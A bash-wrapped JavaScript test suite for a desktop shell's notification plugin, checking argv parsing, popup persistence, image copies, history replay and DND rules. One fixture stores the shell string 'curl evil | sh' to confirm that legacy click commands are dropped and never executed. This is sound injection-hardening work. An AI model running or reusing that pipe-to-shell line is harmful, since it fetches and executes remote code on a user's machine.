#!/bin/bash set -euo pipefail source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" run_node_test <<'JS' const fs = require('fs') const notifications = requireFromRoot('shell/plugins/notifications/NotificationLogic.js') assert(notifications.isChromiumDerived('Brave Browser', ''), 'notifications detect chromium-derived apps by name') assert(notifications.isChromiumDerived('', 'microsoft-edge'), 'notifications detect chromium-derived apps by icon') assert(!notifications.isChromiumDerived('Slack', ''), 'notifications do not treat unrelated apps as chromium-derived') assertEqual( notifications.sanitizeBody('Hello', 'Slack', ''), 'Hello', 'notifications strip inline image tags' ) assertEqual( notifications.sanitizeBody('example.com Message body', 'Chromium', ''), 'Message body', 'notifications strip chromium leading origin links' ) assertEqual( notifications.sanitizeBody('https://example.com/path Message body', 'Chromium', ''), 'Message body', 'notifications strip chromium leading origin text' ) assertEqual( notifications.sanitizeBody('https://example.com/path Message body', 'Slack', ''), 'https://example.com/path Message body', 'notifications keep non-browser leading origin text' ) assert(notifications.summaryStartsWithGlyph('󰂚 Silenced'), 'notifications detect glyph-prefixed summaries') assert(!notifications.summaryStartsWithGlyph('Normal summary'), 'notifications ignore normal summaries as glyph-prefixed') assert(notifications.shouldRenderCompactGlyph('K', '', true), 'notifications render glyph-only single-line toasts compactly') assert(!notifications.shouldRenderCompactGlyph('K', '', false), 'notifications give glyph hints with bodies the large icon slot') assert(!notifications.shouldRenderCompactGlyph('K', 'file:///tmp/image.png', true), 'notifications keep image-backed glyph hints in the icon slot') assert(notifications.shouldBypassDnd({ appName: 'omarchy-action', urgency: 1 }, 2), 'omarchy action toasts bypass DND') assert(notifications.shouldBypassDnd({ appName: 'notify-send', urgency: 2 }, 2), 'critical notify-send bypasses DND') assert(!notifications.shouldBypassDnd({ appName: 'notify-send', urgency: 1 }, 2), 'normal notify-send does not bypass DND') assert(!notifications.shouldBypassDnd({ appName: 'Slack', urgency: 2 }, 2), 'critical app notifications do not bypass DND') assert(!notifications.shouldBypassDnd({ appName: 'omarchy-menu-keybindings', urgency: 1 }, 2), 'omarchy command app names do not bypass DND') assert(!notifications.isEphemeralApp('omarchy-menu-keybindings'), 'notifications treat omarchy command app names as normal apps') // The click action's argv form: parsed from the persisted omarchy-exec-argv // JSON only when it is a non-empty array of strings whose program is present // and not a leading-dash option. Everything else fails closed so a malformed or // hostile hint can never fall through to a shell. assertDeepEqual( notifications.parseExecArgv('["mpv","--","/home/me/a b.mp4"]'), ['mpv', '--', '/home/me/a b.mp4'], 'notifications parse a valid exec argv vector' ) assertEqual(notifications.parseExecArgv(''), null, 'notifications reject an empty exec argv hint') assertEqual(notifications.parseExecArgv('not json'), null, 'notifications reject a non-JSON exec argv hint') assertEqual(notifications.parseExecArgv('"mpv"'), null, 'notifications reject an exec argv hint that is not an array') assertEqual(notifications.parseExecArgv('[]'), null, 'notifications reject an empty exec argv array') assertEqual(notifications.parseExecArgv('["mpv",5]'), null, 'notifications reject a non-string element in the exec argv') assertEqual(notifications.parseExecArgv('["--include=x","y"]'), null, 'notifications reject a leading-dash program in the exec argv') assertEqual(notifications.parseExecArgv('["",""]'), null, 'notifications reject an empty program in the exec argv') // The argv vector rides on the snapshot as the raw JSON string, so the model's // value comparison stays a plain string compare and the file round-trip is // lossless. const execSnapshot = notifications.snapshotOf({ id: 3, appName: 'omarchy-action', summary: 'Download complete', hints: { 'omarchy-exec-argv': '["mpv","--","/tmp/clip.mp4"]' } }, 1) assertEqual( execSnapshot.execArgv, '["mpv","--","/tmp/clip.mp4"]', 'notifications carry the exec argv hint onto the snapshot' ) assertDeepEqual( notifications.popupPlacement('top', 32, 6), { anchors: { top: true, bottom: false, left: false, right: true }, margins: { top: 32, bottom: 6, left: 6, right: 6 } }, 'notifications clear a top bar while staying anchored top-right' ) assertDeepEqual( notifications.popupPlacement('right', 32, 6), { anchors: { top: true, bottom: false, left: false, right: true }, margins: { top: 6, bottom: 6, left: 6, right: 32 } }, 'notifications clear a right bar while staying anchored top-right' ) assertDeepEqual( notifications.popupPlacement('bottom', 32, 6), { anchors: { top: true, bottom: false, left: false, right: true }, margins: { top: 6, bottom: 6, left: 6, right: 6 } }, 'notifications ignore a bottom bar for popup placement' ) assertDeepEqual( notifications.popupPlacement('left', 32, 6), { anchors: { top: true, bottom: false, left: false, right: true }, margins: { top: 6, bottom: 6, left: 6, right: 6 } }, 'notifications ignore a left bar for popup placement' ) const notification = { id: 12, appName: 'Mail', appIcon: 'mail', summary: 42, body: 'Body', image: 'file:///tmp/mail.png', hints: { 'omarchy-glyph': '!' }, urgency: 1, expireTimeout: 1.5 } const snapshot = notifications.snapshotOf(notification, 12345) assertDeepEqual( { id: snapshot.id, originalId: snapshot.originalId, app: snapshot.app, appIcon: snapshot.appIcon, summary: snapshot.summary, body: snapshot.body, image: snapshot.image, glyph: snapshot.glyph, urgency: snapshot.urgency, expireTimeout: snapshot.expireTimeout, timestamp: snapshot.timestamp }, { id: 12, originalId: 12, app: 'Mail', appIcon: 'mail', summary: '42', body: 'Body', image: 'file:///tmp/mail.png', glyph: '!', urgency: 1, expireTimeout: 1.5, timestamp: 12345 }, 'notifications create stable snapshots' ) // An in-place update keeps the popup's identity — the file name it was // persisted under — and takes everything the card draws from the new content. const replacement = notifications.replacementSnapshot( { id: 12, appName: 'Slack', summary: 'Thread v2', body: 'message 2', image: 'file:///tmp/new.png', hints: { 'omarchy-glyph': '!' }, urgency: 2, expireTimeout: 4000 }, 12, 12345 ) assertDeepEqual( { id: replacement.id, originalId: replacement.originalId, timestamp: replacement.timestamp, summary: replacement.summary, body: replacement.body, image: replacement.image, glyph: replacement.glyph, urgency: replacement.urgency, expireTimeout: replacement.expireTimeout }, { id: 12, originalId: 12, timestamp: 12345, summary: 'Thread v2', body: 'message 2', image: 'file:///tmp/new.png', glyph: '!', urgency: 2, expireTimeout: 4000 }, 'notifications take updated content without moving the popup it replaces' ) assertEqual( notifications.popupFileName(replacement), '12345-12.json', 'notifications keep the persisted file name across an in-place update' ) assert( !notifications.popupRowChanged(replacement, replacement), 'notifications skip a refresh that matches the row it would write' ) assert( notifications.popupRowChanged(replacement, Object.assign({}, replacement, { body: 'message 3' })), 'notifications refresh a row whose content moved on' ) assert( !notifications.popupRowChanged(replacement, Object.assign({}, replacement, { timestamp: 999 })), 'notifications ignore identity fields when deciding whether a refresh has work' ) const settings = notifications.parseSettings(JSON.stringify({ version: 3, dnd: true })) assertEqual(settings.dnd, true, 'notifications parse the persisted DND state') assertEqual(settings.legacy, false, 'notifications do not flag a current settings file as legacy') assertEqual(notifications.parseSettings('').dnd, null, 'notifications leave DND unset without a settings file') assertEqual( notifications.parseSettings(JSON.stringify({ dnd: false, pending: [], past: [] })).legacy, true, 'notifications flag a settings file still carrying the retired history rows' ) assert(notifications.parseSettings('{').error, 'notifications flag invalid settings JSON') // History is the notification files moved into the history dir, read back // exactly like live popup files. const archived = [ notifications.serializePopup({ id: 1, originalId: 1, summary: 'oldest', timestamp: 100 }, 1), notifications.serializePopup({ id: 2, originalId: 2, summary: 'newest', timestamp: 900, expireTimeout: 30000, deadline: 5000 }, 1), notifications.serializePopup({ id: 3, originalId: 3, summary: 'middle', timestamp: 500 }, 1) ].join('\n') const historyReplay = notifications.historyRows(archived, [], 1, 2) assertDeepEqual( historyReplay.map(row => row.summary), ['newest', 'middle'], 'notifications replay the newest history rows up to the limit' ) assertEqual(historyReplay[0].expireTimeout, 0, 'notifications replay history rows with the standard toast lifetime') assertEqual('deadline' in historyReplay[0], false, 'notifications drop the restore deadline from replayed history rows') assertDeepEqual(notifications.historyRows('', [], 1, 10), [], 'notifications replay nothing from an empty history dir') // A toast still on screen is the newest notification there is, and its move // into the history dir races the read, so the replay takes it from memory. assertDeepEqual( notifications.historyRows(archived, [{ id: 4, originalId: 4, summary: 'on screen', timestamp: 1500 }], 1, 10) .map(row => row.summary), ['on screen', 'newest', 'middle', 'oldest'], 'notifications replay the toasts still on screen alongside the archived ones' ) assertDeepEqual( notifications.historyRows(archived, [{ id: 2, originalId: 2, summary: 'newest', timestamp: 900 }], 1, 10) .map(row => row.summary), ['newest', 'middle', 'oldest'], 'notifications replay a toast once when its archived file already landed' ) assertDeepEqual( notifications.historyRows('', [{ id: 4, originalId: 4, summary: 'on screen', timestamp: 1500 }], 1, 10) .map(row => row.summary), ['on screen'], 'notifications replay an on-screen toast even when nothing is archived yet' ) const popup = { id: 7, originalId: 7, app: 'Mail', appIcon: 'mail', summary: 'New message', body: 'Body', image: '', glyph: '', urgency: 2, expireTimeout: 2500, timestamp: 1000 } assertEqual(notifications.popupFileName(popup), '1000-7.json', 'notifications name popup files by timestamp and id') assertEqual( notifications.serializePopup(popup, 1).indexOf('\n'), -1, 'notifications serialize popups to a single line' ) assertEqual( notifications.popupEntry({ id: 1, timestamp: 5 }, 1).urgency, 1, 'notifications default popup urgency to normal' ) assertEqual( notifications.popupEntry({ id: 1, timestamp: 5, expireTimeout: 4000 }, 1).expireTimeout, 4000, 'notifications preserve popup expire timeouts unlike history rows' ) // Persisted entries must not reference images another process owns: Chromium // web apps (WhatsApp avatars included) delete their scoped /tmp files when // the notification closes, and image:// URLs die with the live object. assertEqual( notifications.localImageFile('file:///tmp/scoped_dir/logo%20a.png'), '/tmp/scoped_dir/logo a.png', 'notifications resolve file URLs to copyable paths' ) assertEqual(notifications.localImageFile('/tmp/avatar.png'), '/tmp/avatar.png', 'notifications treat absolute paths as copyable') assertEqual(notifications.localImageFile('mail'), '', 'notifications leave themed icon names uncopied') assertEqual(notifications.localImageFile('image://notifs/1'), '', 'notifications cannot copy in-process image URLs') const persistable = notifications.persistablePopup( { id: 9, originalId: 9, timestamp: 2000, appIcon: 'file:///tmp/scoped/logo.png', image: 'image://notifs/9', summary: 'Hi' }, '/state/images/' ) assertDeepEqual( persistable.copies, [{ from: '/tmp/scoped/logo.png', to: '/state/images/2000-9-appIcon' }], 'notifications copy file-backed images into the state dir when persisting' ) assertEqual( persistable.entry.appIcon, 'file:///state/images/2000-9-appIcon', 'notifications persist the image copy instead of the sender-owned original' ) assertEqual(persistable.entry.image, '', 'notifications drop dead in-process image URLs from persisted entries') assertEqual(persistable.entry.summary, 'Hi', 'notifications leave the rest of the persisted entry untouched') const repersisted = notifications.persistablePopup(persistable.entry, '/state/images/') assertDeepEqual(repersisted.copies, [], 'notifications do not re-copy an entry already pointing at its copies') assertEqual( repersisted.entry.appIcon, 'file:///state/images/2000-9-appIcon', 'notifications keep a restored entry pointing at its existing copy' ) assertEqual( notifications.persistablePopup({ id: 9, originalId: 9, timestamp: 2000, appIcon: 'mail', image: '' }, '/state/images/').copies.length, 0, 'notifications leave themed icons alone when persisting' ) assertEqual( notifications.imageStem({ originalId: 9, timestamp: 2000 }) + '.json', notifications.popupFileName({ originalId: 9, timestamp: 2000 }), 'notifications name image copies by the stem of the entry file they belong to' ) const popupFiles = notifications.parsePopupFiles( [ notifications.serializePopup({ id: 1, originalId: 1, summary: 'old-generation', urgency: 2, timestamp: 100 }, 1), notifications.serializePopup({ id: 1, originalId: 1, summary: 'new-generation', urgency: 1, timestamp: 300 }, 1), notifications.serializePopup({ id: 2, originalId: 2, summary: 'critical', urgency: 2, timestamp: 200 }, 1), '{ torn write' ].join('\n'), 1 ) assertDeepEqual( popupFiles.map(row => row.summary), ['new-generation', 'critical', 'old-generation'], 'notifications restore every persisted popup newest-first, never deduping ids across server generations' ) assertDeepEqual( notifications.parsePopupFiles('', 1), [], 'notifications restore nothing from an empty popup dir' ) assert(!notifications.popupExpired({ timestamp: 0 }, 0, 999999), 'critical popups never expire on restore') assert(!notifications.popupExpired({ timestamp: 1000 }, 8000, 5000), 'popups within their lifetime are restored') assert(notifications.popupExpired({ timestamp: 1000 }, 8000, 9000), 'popups past their lifetime are not restored') assert( !notifications.popupExpired({ timestamp: 1000, deadline: 20000 }, 8000, 15000), 'a restore-reset deadline outranks the original popup timestamp' ) assert( notifications.popupExpired({ timestamp: 1000, deadline: 20000 }, 8000, 20000), 'popups past their reset deadline are not restored' ) assertEqual( notifications.popupEntry(JSON.parse(notifications.serializePopup({ id: 1, originalId: 1, timestamp: 5, deadline: 9000 }, 1)), 1).deadline, 9000, 'notifications round-trip reset deadlines through popup files' ) assertEqual( 'deadline' in notifications.popupEntry({ id: 1, timestamp: 5 }, 1), false, 'notifications omit the deadline field until a restore sets it' ) // The click action (an argv vector) is the only kind that survives a shell // restart: a libnotify action leaves its sender waiting on an id from a server // generation that no longer exists. assertEqual( notifications.snapshotOf({ id: 3, hints: { 'omarchy-glyph': '!' } }, 1).execArgv, '', 'notifications leave the click command empty without an exec argv hint' ) assertEqual( notifications.popupEntry( JSON.parse(notifications.serializePopup({ id: 1, originalId: 1, timestamp: 5, execArgv: '["mpv","--","/tmp/a b.mp4"]' }, 1)), 1 ).execArgv, '["mpv","--","/tmp/a b.mp4"]', 'notifications round-trip the click argv through popup files' ) assertEqual( notifications.popupEntry({ id: 1, originalId: 1, timestamp: 5 }, 1).execArgv, '', 'notifications restore an empty click command for popups without one' ) assertEqual( notifications.historyEntry({ id: 1, execArgv: '["xdg-open","/tmp/received"]' }, 1).execArgv, '["xdg-open","/tmp/received"]', 'notifications keep the click argv on history rows' ) // Upgrade fail-closed: a popup persisted by a pre-upgrade shell carried its // click action as an `exec` shell string. After the update-triggered shell // restart the new shell only honors execArgv, so a restored legacy popup keeps // displaying but its click is inert — deliberately, because splitting the old // shell string back into a command is exactly the injection being removed. const legacyRestored = notifications.parsePopupFiles( JSON.stringify({ id: 7, originalId: 7, timestamp: 9, summary: 'Legacy toast', exec: 'curl evil | sh' }), 1 )[0] assertEqual(legacyRestored.execArgv || '', '', 'a restored legacy exec shell string is not carried into execArgv') assert(!('exec' in legacyRestored), 'a restored legacy popup drops the old exec field') assertEqual(notifications.parseExecArgv(legacyRestored.execArgv || ''), null, 'a restored legacy popup has no runnable click action') const serviceQml = fs.readFileSync(path.join(root, 'shell/plugins/notifications/Service.qml'), 'utf8') assert( /readonly property int historyLimit: 10/.test(serviceQml), 'notifications service keeps the last ten notifications in history' ) assert( /function showHistory\(\): string \{\s*return service\.showRecentHistory\(\)\s*\}/.test(serviceQml), 'notifications history IPC replays recent notifications' ) assert( /readonly property string popupStateDir: stateDir \+ "notifications\/"/.test(serviceQml), 'notifications service persists popups under the omarchy state dir' ) assert( /readonly property string historyDir: popupStateDir \+ "history\/"/.test(serviceQml), 'notifications service keeps history in a subdirectory of the popup state dir' ) assert( /if \(entry\) \{\s*\n\s*archivePopupFileFor\(entry\)[\s\S]{0,200}?popupModel\.remove\(index\)/.test(serviceQml), 'notifications service archives the popup file when a popup leaves the screen' ) assert( /mv -f \\"\$4\/\$3\\" \\"\$1\/\$3\\"/.test(serviceQml), 'notifications service archives by moving the popup file into the history dir' ) assert( /head -n \\"-\$limit\\"/.test(serviceQml), 'notifications service trims history to the newest entries in the same job' ) assert( /\\"\$imgs\/\$\{stale%\.json\}\\"-\*/.test(serviceQml), 'notifications service drops a trimmed history entry\'s image copies with it' ) assert( /readonly property string imagesDir: popupStateDir \+ "images\/"/.test(serviceQml), 'notifications service keeps image copies beside the popup and history files' ) assert( /copyImagesScript \+\n\s*"printf/.test(serviceQml), 'notifications service copies images before writing the JSON that references them' ) assert( /timeout 5 head -c 5242881 -- \\"\$1\\" > \\"\$2\.tmp\\"[\s\S]{0,120}?mv -f -- \\"\$2\.tmp\\" \\"\$2\\"/.test(serviceQml), 'notifications service bounds image copies through a validated temp file' ) assert( /rm -f \\"\$1\/\$2\.json\\" \\"\$3\/\$2\\"-\*/.test(serviceQml), 'notifications service deletes a superseded popup\'s image copies with its file' ) assert( /if \(!isEphemeral\(notification\)\) \{\s*\n\s*writeSilenced\(notification, snapshot\)/.test(serviceQml), 'notifications service records DND-silenced notifications straight into history' ) assert( /function releaseSilenced\(notification, originalId\)[\s\S]{0,300}?notification\.tracked = false/.test(serviceQml), 'notifications service holds a silenced notification until its history write has run' ) assert( /if \(updated && NotificationLogic\.popupRowChanged\(written, updated\)\) \{\s*\n\s*service\.writeSilenced\(notification, updated\)/.test(serviceQml), 'notifications service re-persists a silenced notification updated while its write was queued' ) assert( /rows\.push\(NotificationLogic\.persistablePopup\(\{[\s\S]{0,400}?\}, imagesDir\)\.entry\)/.test(serviceQml), 'notifications service replays carried-over toasts from their persisted image copies' ) assert( /function sweepOrphanImages\(\)[\s\S]{0,400}?\|\| rm -f \\"\$img\\"/.test(serviceQml), 'notifications service sweeps image copies whose JSON never landed' ) assert( /service\.replayCarryOver = liveRowsForReplay\(\)/.test(serviceQml), 'notifications service carries the toasts still on screen into the replay' ) assert( /watchForUpdates\(notification, snapshot\)/.test(serviceQml), 'notifications service watches a shown notification for in-place updates' ) assert( /if \(signal && typeof signal\.connect === "function"\) signal\.connect\(refresh\)/.test(serviceQml), 'notifications service refreshes the popup from every property the card draws' ) assert( /popupModel\.setProperty\(i, roles\[r\], updated\[roles\[r\]\]\)[\s\S]{0,600}?persistPopupFile\(updated\)/.test(serviceQml), 'notifications service rewrites both the row and its file when a notification is updated in place' ) assert( /if \(!NotificationLogic\.popupRowChanged\(row, updated\)\) return/.test(serviceQml), 'notifications service leaves the row and its file alone when a refresh finds nothing changed' ) assert( /popupModel\.insert\(0, snapshot\)[\s\S]{0,300}?service\.refreshPopup\(notification, snapshot\.originalId, snapshot\.timestamp\)/.test(serviceQml), 'notifications service catches up on an update that beat the deferred row insert' ) assert( /function showRecentHistory\(\)[\s\S]{0,300}?enqueueHistoryRead\(\)/.test(serviceQml), 'notifications service reads history from its place in the file queue' ) assert( /if \(job\.read\) \{\s*\n\s*startHistoryRead\(\)/.test(serviceQml), 'notifications service runs the queued read when its turn comes' ) assert( /function runNextPopupFileJob\(\) \{\s*\n\s*if \(readHistoryProc\.running \|\| popupFileProc\.running\) return/.test(serviceQml), 'notifications service holds queued file work until a history read finishes' ) assert( /id: readHistoryProc[\s\S]{0,300}?onExited: service\.runNextPopupFileJob\(\)/.test(serviceQml), 'notifications service releases the file queue even when a history read comes back empty' ) assert( /onSummaryChanged: cardSlot\.remainingLifetime = 1\.0/.test(serviceQml), 'notifications service restarts the countdown when a toast is updated under it' ) assert( /awk 1 \\"\$1\\"\/\*\.json 2>\/dev\/null \|\| true", "--", historyDir/.test(serviceQml), 'notifications service replays history by reading the archived files' ) assert( /restorePopupsProc\.running = true/.test(serviceQml), 'notifications service restores persisted popups on startup' ) assert( /if \(isRestoredRow\(row\)\) continue/.test(serviceQml), 'notifications service protects restored popups from new-generation id collisions' ) assert( /var ref = !restored && originalId >= 0 \? liveRefs\[originalId\] : null/.test(serviceQml), 'notifications service never resolves a restored popup to a live server object' ) assert( /service\.restoredPopups\[NotificationLogic\.popupFileName\(rows\[i\]\)\] = true/.test(serviceQml), 'notifications service treats replayed history rows as restored, never as live notifications' ) assert( /popupFileName\(row\) !== keepFileName/.test(serviceQml), 'notifications service keeps a same-millisecond replacement popup file' ) assert( /awk 1 \\"\$1\\"\/\*\.json/.test(serviceQml), 'notifications service delimits every popup file during restore' ) assert( /parseExecArgv\(entry \? entry\.execArgv : ""\)[\s\S]{0,200}?Util\.execArgv\(argv\)/.test(serviceQml), 'notifications service runs the popup click argv itself instead of a libnotify action' ) assert( /function clear\(\): string \{\s*service\.clearHistory\(\)/.test(serviceQml), 'notifications clear IPC forgets the recorded history' ) assert( !/pendingModel|pastModel/.test(serviceQml), 'notifications service keeps no in-memory history models' ) JS